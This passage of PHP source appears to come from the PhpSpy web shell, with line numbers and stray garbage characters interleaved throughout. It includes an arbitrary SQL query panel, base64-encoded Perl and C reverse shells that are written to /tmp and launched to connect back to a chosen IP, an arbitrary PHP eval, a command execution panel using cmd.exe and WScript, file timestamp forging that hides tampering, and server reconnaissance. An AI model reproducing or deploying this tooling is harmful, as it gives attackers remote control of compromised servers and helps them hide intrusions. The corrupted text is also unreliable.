     / Y" B7 L. V" M, N- A: J8 T# s
901.                                         p('<td>Field</td>');
     
902.                                         p('<td>Type</td>');
     
903.                                         p('<td>Null</td>');
     
904.                                         p('<td>Key</td>');
     
905.                                         p('<td>Default</td>');
     
906.                                         p('<td>Extra</td>');
     2 G% J6 v4 w) V5 C
907.                                         p('</tr>');
     
908.                                         foreach ($rowdb as $row) {
     
909.                                                 $thisbg = bg();
     
910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     0 R) b" e6 `2 n6 Q* Q( j0 N1 }* G
911.                                                 p('<td>'.$row['Field'].'</td>');
     
912.                                                 p('<td>'.$row['Type'].'</td>');
     % `2 _, Q, ?, X% X) d4 b
913.                                                 p('<td>'.$row['Null'].' </td>');
     
914.                                                 p('<td>'.$row['Key'].' </td>');
     
915.                                                 p('<td>'.$row['Default'].' </td>');
     
916.                                                 p('<td>'.$row['Extra'].' </td>');
     
917.                                                 p('</tr>');
     
918.                                         }
     
919.                                         tbfoot();
     
920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
     
921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
     
922.                                         while ($row = mysql_fetch_array($result)) {
     . F( S/ x2 y4 m. v8 S2 O& f! J
923.                                                 $rowdb[] = $row;
     
924.                                         }
     / p: F+ B2 I5 _9 O& p3 u# g
925.                                         $rs = array();
     ) `0 u0 M- B/ h0 G0 ]' ]6 q3 M! e
926.                                         if ($doing == 'insert') {
     
927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
     / ~. W9 i: V9 m" s2 r% e1 r6 R5 K
928.                                         } else {
     
929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
     $ W4 C" i+ `- ?" ^: Q
930.                                                 $where = base64_decode($base64);
     # f( r3 Q- x5 v; B" k" I2 s
931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
     
932.                                                 $rs = mysql_fetch_array($result);
     ! h: n+ n  n& q" N$ G' d4 Q
933.                                         }
     
934.                                         p('<form method="post" action="'.$self.'">');
     
935.                                         p($dbform);
     2 n0 K( `. h: J- y0 r0 b
936.                                         makehide('action','sqladmin');
     ' O( [3 V' n6 o* b; Z
937.                                         makehide('tablename',$tablename);
     5 U& ]5 r* E# a* o
938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     - q9 c- d! ]( R+ f
939.                                         foreach ($rowdb as $row) {
     8 F5 U5 S0 e, |4 d/ ]; ]
940.                                                 if ($rs[$row['Field']]) {
     
941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
     ! F# J- p3 m* B! z5 A: ^4 ~% S& Z& m
942.                                                 } else {
     
943.                                                         $value = '';
     
944.                                                 }
     : ?% a% G5 ?: o' F! p0 @% H! }, r: o4 ~
945.                                                 $thisbg = bg();
     
946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     , l3 W. G  y2 x& {2 P
947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
     : U4 d) R- Y% T4 J
948.                                         }
     + I8 O5 ^" f& Q  k$ w" p$ d
949.                                         if ($doing == 'insert') {
     ! `, {% g5 g! C0 q/ D/ S9 \
950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
     
951.                                         } else {
     
952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
     
953.                                                 makehide('base64', $base64);
     * u9 X6 Z) [) q: ^
954.                                         }
     
955.                                         p('</table></form>');
     
956.                                 } else {
     
957.                                         $querys = @explode(';',$sql_query);
     
958.                                         foreach($querys as $num=>$query) {
     2 J5 n/ c" t+ d  l% u
959.                                                 if ($query) {
     + D/ @$ ~# I  M% `* R1 `' W6 H
960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
     
961.                                                         switch(qy($query))
     
962.                                                         {
     
963.                                                                 case 0:
     
964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
     
965.                                                                         break;       
     
966.                                                                 case 1:
     - {. ^# {2 F7 c  I9 C9 j
967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
     
968.                                                                                 $allowedit = 1;
     
969.                                                                         }
     
970.                                                                         if ($getnumsql) {
     
971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
     
972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
     
973.                                                                         }
     5 E1 s+ M1 i3 E6 r
974.                                                                         if (!$tablename) {
     
975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
     
976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
     : ?& ^9 u6 G) \& u# Y
977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
     $ T0 {* S& D3 X' c" f
978.                                                                                 $tablename = $matches[1][0];
     
979.                                                                         }
     
980.                                                                         $result = q($query);
     & o- g) D- N" A
981.                                                                         p($multipage);
     
982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
983.                                                                         p('<tr class="head">');
     
984.                                                                         if ($allowedit) p('<td>Action</td>');
     
985.                                                                         $fieldnum = @mysql_num_fields($result);
     
986.                                                                         for($i=0;$i<$fieldnum;$i++){
     
987.                                                                                 $name = @mysql_field_name($result, $i);
     2 I6 x# x9 n% C3 g& e) f* z/ Q
988.                                                                                 $type = @mysql_field_type($result, $i);
     
989.                                                                                 $len = @mysql_field_len($result, $i);
     
990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
     
991.                                                                         }
     4 w+ S/ h6 Q6 s% ~
992.                                                                         p('</tr>');
     + [4 e* a$ J- h- [# U
993.                                                                         while($mn = @mysql_fetch_assoc($result)){
     4 H) Z" Z5 a6 t6 U, h6 x
994.                                                                                 $thisbg = bg();
     
995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     ( B0 l. \% ^9 M- y
996.                                                                                 $where = $tmp = $b1 = '';
     
997.                                                                                 foreach($mn as $key=>$inside){
     
998.                                                                                         if ($inside) {
     & o- \5 f6 T. i" j  U. b- P% f
999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
     
1000.                                                                                                 $tmp = ' AND ';
      
1001.                                                                                         }
      / d& [3 I1 E" k' V8 R  N/ d
1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
      5 s, L" y5 h7 s$ q7 ~' L
1003.                                                                                 }
      
1004.                                                                                 $where = base64_encode($where);
      % W! w' |2 Q! t8 r
1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
      
1006.                                                                                 p($b1);
      / k1 T5 q% y- [5 Q1 ?8 M2 _
1007.                                                                                 p('</tr>');
      
1008.                                                                                 unset($b1);
      ) d/ R0 S+ a& m+ x& [
1009.                                                                         }
      ) _* q1 `$ R4 p$ |+ `0 H0 o
1010.                                                                         tbfoot();
      
1011.                                                                         p($multipage);
      ; {$ f8 l0 n4 J$ J1 @7 U0 D, Y
1012.                                                                         break;       
      
1013.                                                                 case 2:
      
1014.                                                                         $ar = mysql_affected_rows();
      3 @1 E3 p/ F+ b3 @! g& D
1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
      
1016.                                                                         break;
      * _/ k$ w$ E/ U1 I% ~8 [8 O% I
1017.                                                         }
      , G1 A/ \/ T5 i# F4 j! h0 B
1018.                                                 }
      
1019.                                         }
      
1020.                                 }
      * `. F8 o( Q2 Y. M6 F
1021.                         } else {
      
1022.                                 $query = q("SHOW TABLE STATUS");
      ; H$ l! y# [: v5 r& z0 E
1023.                                 $table_num = $table_rows = $data_size = 0;
      
1024.                                 $tabledb = array();
      1 A2 ~# K+ e: A+ [! W& \
1025.                                 while($table = mysql_fetch_array($query)) {
      + c- Q# C; v( g& E+ @& h
1026.                                         $data_size = $data_size + $table['Data_length'];
      ) W) |, c1 k! V. D& n
1027.                                         $table_rows = $table_rows + $table['Rows'];
        U: H! B6 M2 E) ~- D
1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
      
1029.                                         $table_num++;
      
1030.                                         $tabledb[] = $table;
      ( P2 h* a8 A* k6 O( O; K/ b
1031.                                 }
      
1032.                                 $data_size = sizecount($data_size);
      ) Y4 q+ ]+ @$ g% _) h% J
1033.                                 unset($table);
      ( \6 a* C& L5 W9 G
1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
      / o% T2 j1 ^, H' {+ `9 V- q
1035.                                 p('<form action="'.$self.'" method="POST">');
      
1036.                                 makehide('action','sqladmin');
      
1037.                                 p($dbform);
      
1038.                                 p('<tr class="head">');
      
1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
      
1040.                                 p('<td>Name</td>');
      4 Y  H% n1 j9 Z) p, Y. T7 S
1041.                                 p('<td>Rows</td>');
      % ?& J$ ?5 t  Q" K" K' m6 `
1042.                                 p('<td>Data_length</td>');
      " M" k4 @& o8 m* E4 d" e
1043.                                 p('<td>Create_time</td>');
      + m) ]; t8 v* |& Y/ ?: k
1044.                                 p('<td>Update_time</td>');
      
1045.                                 if ($highver) {
      
1046.                                         p('<td>Engine</td>');
      
1047.                                         p('<td>Collation</td>');
      9 y  j" c- Q8 y
1048.                                 }
      
1049.                                 p('</tr>');
      
1050.                                 foreach ($tabledb as $key => $table) {
      
1051.                                         $thisbg = bg();
      9 e4 |3 _# g. h) U: C5 C& \& N
1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      
1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
      + G/ F2 x$ M1 S8 O- t4 z: @
1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      - D- M: u4 K; S* t
1055.                                         p('<td>'.$table['Rows'].'</td>');
      ( x% q/ O( P. S. m% e; _$ C, j5 t
1056.                                         p('<td>'.$table['Data_length'].'</td>');
      9 }8 P! P0 A" C( f1 ]
1057.                                         p('<td>'.$table['Create_time'].'</td>');
      ) ]) L3 S  \% C# \; c6 P4 H
1058.                                         p('<td>'.$table['Update_time'].'</td>');
      
1059.                                         if ($highver) {
      
1060.                                                 p('<td>'.$table['Engine'].'</td>');
      4 {5 J5 |6 l! |
1061.                                                 p('<td>'.$table['Collation'].'</td>');
      
1062.                                         }
      6 Z# \' F. c3 j9 L
1063.                                         p('</tr>');
      
1064.                                 }
      5 c/ T0 p. L# [( n3 R" c
1065.                                 p('<tr class='.bg().'>');
      
1066.                                 p('<td> </td>');
      
1067.                                 p('<td>Total tables: '.$table_num.'</td>');
      
1068.                                 p('<td>'.$table_rows.'</td>');
      
1069.                                 p('<td>'.$data_size.'</td>');
      
1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
      
1071.                                 p('</tr>');
      
1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
      ' u, l8 T1 f* c! u. J0 ~8 S8 ^9 f8 D
1073.                                 makehide('doing','backupmysql');
      ( \3 ]* P2 S6 L6 B
1074.                                 formfoot();
      8 M- ~9 e( v. F9 X" A
1075.                                 p("</table>");
      . [  ^5 g* X9 G
1076.                                 fr($query);
      7 k; U8 K. q0 g. Y2 @% \3 |. ]+ k
1077.                         }
      1 T3 D0 P% E  o8 [' E( Q
1078.                 }
      
1079.         }
      
1080.         tbfoot();
      
1081.         @mysql_close();
      
1082. }//end sql backup
      
1083. elseif ($action == 'backconnect') {
      ; u' T% m2 ^2 `' A; e
1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
      
1085.         !$yourport && $yourport = '12345';
      
1086.         $usedb = array('perl'=>'perl','c'=>'c');
      1 Y- m7 N* f2 R6 e, T
1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
      7 v( x! q' i6 \- j' j! t: g
1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
      
1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
      
1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      
1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
      # a' G0 K( a1 t$ V& Z# l1 ]
1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
      
1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
      
1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
      % u# y8 {) T9 b: @% J8 Z/ N
1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
      6 |2 y2 P- V7 H6 q' P6 l7 c: _) H3 |
1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
      ; q: ~( s/ N2 W4 I2 v, G2 K0 L$ \
1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      
1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
      ( _& x; t; p4 L% B( b) D  F
1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
      
1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
      ( \2 K  b# k- y+ R- b7 M
1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
      
1102.         if ($start && $yourip && $yourport && $use){
      ( O9 O. M5 c' C$ r9 W
1103.                 if ($use == 'perl') {
      ; Q9 j- S: R% q1 C6 J
1104.                         cf('/tmp/angel_bc',$back_connect);
      
1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
      
1106.                 } else {
      & C0 Q: G( O6 D
1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
      
1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      
1109.                         @unlink('/tmp/angel_bc.c');
      % X: j3 h+ i$ G* @1 v4 u
1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
      8 Z# b, v0 n+ A0 h6 y6 P
1111.                 }
      7 T4 _) H  B2 @* S  U2 ~
1112.                 m("Now script try connect to $yourip port $yourport ...");
      1 n' S. s1 d% q
1113.         }
      
1114.         formhead(array('title'=>'Back Connect'));
      
1115.         makehide('action','backconnect');
      
1116.         p('<p>');
      
1117.         p('Your IP:');
      
1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
      
1119.         p('Your Port:');
      6 b$ d* [. U7 Q
1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
      
1121.         p('Use:');
      ! F5 Y/ L# E# `" O" s6 O, `
1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      + p/ u- X' u6 Y
1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
      
1124.         p('</p>');
      * p6 Q1 o, J2 V/ G
1125.         formfoot();
      4 z- d( ^7 O. ^
1126. }//end sql backup
      4 Z; w% ?7 |4 y4 u* b4 K
1127. elseif ($action == 'eval') {
      5 Z7 y# b8 p/ L6 Z
1128.         $phpcode = trim($phpcode);
      
1129.         if($phpcode){
      $ l, G3 S( }  k" {8 m4 |+ M5 R
1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      
1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
      
1132.                 }
      
1133.                 eval("?".">$phpcode<?");
      % k% [0 b" D; Y' l$ ]* E
1134.         }
      
1135.         formhead(array('title'=>'Eval PHP Code'));
      + b/ O4 `" e" q3 `, \
1136.         makehide('action','eval');
      % H: n% }& U) m% D' P9 q3 R6 x
1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
      ( J( h( M# q% ~0 O
1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
      9 [6 H- O# B& B( T; Q
1139.         formfooter();
      
1140. }//end eval
      , j2 F; p6 N1 ^
1141. 
      3 I( V) n0 N9 P9 i8 ]  E8 g
1142. elseif ($action == 'editfile') {
      
1143.         if(file_exists($opfile)) {
      5 Y( x3 t0 o- x& }3 Y
1144.                 $fp=@fopen($opfile,'r');
      
1145.                 $contents=@fread($fp, filesize($opfile));
      
1146.                 @fclose($fp);
      
1147.                 $contents=htmlspecialchars($contents);
      - E) c7 c! A# V* k  r9 R* U$ s
1148.         }
      
1149.         formhead(array('title'=>'Create / Edit File'));
      
1150.         makehide('action','file');
      
1151.         makehide('dir',$nowpath);
      ; v/ d* G# a3 L8 u
1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
      
1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
      / A, S1 z4 u4 F: i; w6 r
1154.         formfooter();
      
1155. }//end editfile
      0 j+ s8 q$ E+ p$ L, Y( p& I1 U0 @" d
1156. 
      2 b1 x$ O+ f% B1 D8 T+ N
1157. elseif ($action == 'newtime') {
      & U, B, e! q, u% @' G
1158.         $opfilemtime = @filemtime($opfile);
      % n& S6 R" S- o$ u& \$ y
1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
      
1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
      8 J; a4 h8 D  F: c
1161.         formhead(array('title'=>'Clone file was last modified time'));
      
1162.         makehide('action','file');
      # U) {- ~$ z: c; i
1163.         makehide('dir',$nowpath);
      
1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      
1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
      : p" x8 H3 o" @  P
1166.         formfooter();
      
1167.         formhead(array('title'=>'Set last modified'));
      
1168.         makehide('action','file');
        X8 g; [/ k7 N6 N5 N+ i% Q+ S
1169.         makehide('dir',$nowpath);
      5 I% P% a0 s) \/ u
1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      
1171.         p('<p>Instead »');
      
1172.         p('year:');
      
1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
      
1174.         p('month:');
      
1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
      
1176.         p('day:');
      
1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      0 _' o; S5 f4 Z( i* t
1178.         p('hour:');
      # \' h0 w& Y0 |" h3 e: ?* S
1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
      7 x) x) j% }: Q
1180.         p('minute:');
      0 L  M" T! l5 F- k0 y0 u- R) ~
1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
      " |" d3 Q0 @. \1 q
1182.         p('second:');
      ) S$ D) E2 N( u% j1 _3 v
1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
      - ]4 u, R. q6 M
1184.         p('</p>');
      
1185.         formfooter();
      6 M( u2 d7 N; E# n7 o, w# x
1186. }//end newtime
      1 d2 H+ Q+ L3 a, N+ M
1187. 
      
1188. elseif ($action == 'shell') {
      
1189.         if (IS_WIN && IS_COM) {
      4 c! C( Q3 D7 z1 R9 o! J) u
1190.                 if($program && $parameter) {
      4 G) w9 \" A7 Y/ W* H
1191.                         $shell= new COM('Shell.Application');
      
1192.                         $a = $shell->ShellExecute($program,$parameter);
      : F- t2 o. U+ B
1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
      / s0 {: Z* V) o0 ?2 }0 w$ \
1194.                 }
      
1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      - l5 W2 \' l, G. z" M. E" u- n
1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
      
1197.                 formhead(array('title'=>'Execute Program'));
      % b1 K- {) e. `* \# I, ]5 `* X
1198.                 makehide('action','shell');
      6 m4 v5 O4 @! `1 u  s2 p! _
1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
      2 ^- Y: k% [3 j! ]
1200.                 p('<p>');
      4 w+ @+ P6 w! ^+ g! F9 ~4 u2 F
1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
      2 I" C! r$ p* ?  E. G& V5 t1 P
1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      0 K0 a0 F+ c$ @) Y9 G( E& T- \) K/ ?
1203.                 p('</p>');
      
1204.                 formfoot();
      
1205.         }
      
1206.         formhead(array('title'=>'Execute Command'));
      + C) ]$ s# x- J! p$ K
1207.         makehide('action','shell');
      
1208.         if (IS_WIN && IS_COM) {
      4 x. G- @& X% b$ ^1 e1 b+ `" Q
1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
      " o$ K8 @# @2 {: |
1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      ' @; Z% u6 c7 n, [0 l# N
1211.         }
      
1212.         p('<p>');
      ( t3 a6 P& P- |0 K* i4 m; U
1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
      ! [4 R. E- h! K( L- M
1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      ! V( Q( H3 k- P  y9 b8 t' {
1215.         p('</p>');
      
1216.         formfoot();
      
1217. 
      
1218.         if ($command) {
      % q9 D' t7 q/ [6 Y
1219.                 p('<hr width="100%" noshade /><pre>');
      , F$ @  Z3 u7 t4 `1 Y4 m' N
1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
      % x  \7 m# x0 V# |
1221.                         $wsh = new COM('WScript.shell');
      
1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
      
1223.                         $stdout = $exec->StdOut();
      6 x  v, N. P6 _
1224.                         $stroutput = $stdout->ReadAll();
      
1225.                         echo $stroutput;
      / M/ |- O' C, ^5 E5 C" ]# T( K
1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
      / }( \7 c5 Z# c* p) T9 S0 Z
1227.                         $descriptorspec = array(
      ' H# b' y6 h9 O7 K( ^; T! g# i
1228.                            0 => array('pipe', 'r'),
      # P3 S- b# g2 b  n" Z
1229.                            1 => array('pipe', 'w'),
      
1230.                            2 => array('pipe', 'w')
      + j4 P! y- L& \, b% b2 `* ]
1231.                         );
      9 N' M; _: W/ K' ]4 H) C3 g
1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      $ `' I: @, M" S( l7 v) H0 \
1233.                         if (is_resource($process)) {
      / a' w8 q1 M: z4 G3 n  \' _
1234.                                 fwrite($pipes[0], $command."\r\n");
      # }+ G. C$ o6 Y- F, [2 S# v3 T
1235.                                 fwrite($pipes[0], "exit\r\n");
      : Y- Q: o; n0 L) D7 _4 l, H) g
1236.                                 fclose($pipes[0]);
      
1237.                                 while (!feof($pipes[1])) {
      . N8 d% ?- Z2 n! X5 E
1238.                                         echo fgets($pipes[1], 1024);
      
1239.                                 }
      
1240.                                 fclose($pipes[1]);
      
1241.                                 while (!feof($pipes[2])) {
      ' M/ `' x8 f& B4 p2 W
1242.                                         echo fgets($pipes[2], 1024);
      % ~  ?* w' Y( z3 d; Z
1243.                                 }
      9 W! W. x+ j! J) Q
1244.                                 fclose($pipes[2]);
      
1245.                                 proc_close($process);
      
1246.                         }
      3 @& W& P* I& T; m# O, w! M5 s
1247.                 } else {
      4 Z6 o; D  H7 x. @/ g. Y
1248.                         echo(execute($command));
      
1249.                 }
      
1250.                 p('</pre>');
      ' d! X6 R$ m  q( K) o
1251.         }
      
1252. }//end shell
      " T+ d  a: g. G
1253. 
      7 }1 K) N6 F% ?. F7 a& ?
1254. elseif ($action == 'phpenv') {
      
1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
      
1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
      
1257.         !$dis_func && $dis_func = 'No';       
      ) ]# c5 n9 O, a( T2 A$ h
1258.         $info = array(
      
1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
      
1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
      + U: {9 U) X; K* W9 ]) D
1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
      
1262.                 4 => array('Server OS',PHP_OS),
      4 N+ {9 z- A( m/ b* O
1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
      # k0 {0 m. d8 A
1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
      
1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
      
1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
      6 K7 ]/ @- l* v! g3 n; ]' ]
1267.                 9 => array('The file path',__FILE__),
      
1268. 
      
1269.                 10 => array('PHP Version',PHP_VERSION),
      
1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
      1 O8 G+ m3 @2 Q0 M, d. f9 J
1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
      - J7 y; @' n3 \, Q4 f. y
1272.                 13 => array('Administrator',$adminmail),
      # l. ]. h7 s5 H: `" m
1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
      ; |1 l, w  c1 c( c- v3 ], o, ]
1274.                 15 => array('enable_dl',getcfg('enable_dl')),
      $ I( i6 P( s, q" n, X# X. b
1275.                 16 => array('display_errors',getcfg('display_errors')),
      
1276.                 17 => array('register_globals',getcfg('register_globals')),
      % V% D6 g4 o4 x, S" D3 m4 ]
1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
      
1278.                 19 => array('memory_limit',getcfg('memory_limit')),
      
1279.                 20 => array('post_max_size',getcfg('post_max_size')),
      9 H  ?$ _+ Q0 \$ q
1280.                 21 => array('upload_max_filesize',$upsize),
      
1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      
1282.                 23 => array('disable_functions',$dis_func),
      
1283.         );
      
1284. 
      
1285.         if($phpvarname) {
      
